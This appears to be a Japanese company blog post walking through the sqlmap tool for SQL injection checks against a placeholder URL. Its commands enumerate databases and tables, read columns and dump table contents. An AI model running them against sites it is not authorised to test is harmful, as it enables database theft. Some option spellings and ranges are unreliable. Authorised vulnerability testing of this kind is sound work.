いろいろ資料は散見されるが、、、
弊社なりにまとめてみました。
まず、sqlmapをインストールしたディレクトリに移動。
$ cd sqlmap
基本は、
$ ./sqlmap.py -u “http://hoge.jp/index.php?id=fuga”
とやるだけでOK。Getパラメタに対してインジェクションチェックを行ってくれる。
POSTもチェックしたいときは、
$ ./sqlmap.py -u “http://hoge.jp/index.php?id=fuga” –data “postparm1=123&postparam2=456”
DBMSの種類がすでに分かっているときは、明示的に指定すれば時間の省略になる。
$ ./sqlmap.py -u “http://hoge.jp/index.php?id=fuga” –dbms mysql
脆弱性が発見されたときに、同時にDB一覧の取得を試みる場合。
$ ./sqlmap.py -u “http://hoge.jp/index.php?id=fuga” –dbs
脆弱性が発見されたときに、同時にテーブル一覧の取得を試みる場合。
$ ./sqlmap.py -u “http://hoge.jp/index.php?id=fuga” –tables
脆弱性が発見されたときに、特定のテーブルのカラムデータ取得を試みる場合。
$ ./sqlmap.py -u “http://hoge.jp/index.php?id=fuga” -T “table name” –colum
※「column」ではなく「columns」と記載されているドキュメントも見かけたが、うちの環境の場合は「column」で通った。
脆弱性が発見されたときに、特定のテーブルの中身のダンプ取得を試みる場合。
$ ./sqlmap.py -u “http://hoge.jp/index.php?id=fuga” -T “table name” –dump
※実際表示されるとかなりショッキングです。。。。
基本は、上記の基本的なコマンドを発行し、デフォルトレベルのチェックで、
[CRITICAL] all tested parameters appear to be not injectable.
と判定されれば、とりあえずは脆弱性は無いということなので、あとは必要に応じてチェックレベルを上げてみてもよいかと思います。
レベルを指定する場合は下記のようにする。(0~5の範囲で指定可能)
$ ./sqlmap.py -u “http://hoge.jp/index.php?id=fuga” –level 3
その他、任意のヘッダを指定したりログレベルを調整したり、さまざまな使い方ができる模様。
詳細は下記の参考サイトをどうぞ。
参考サイト)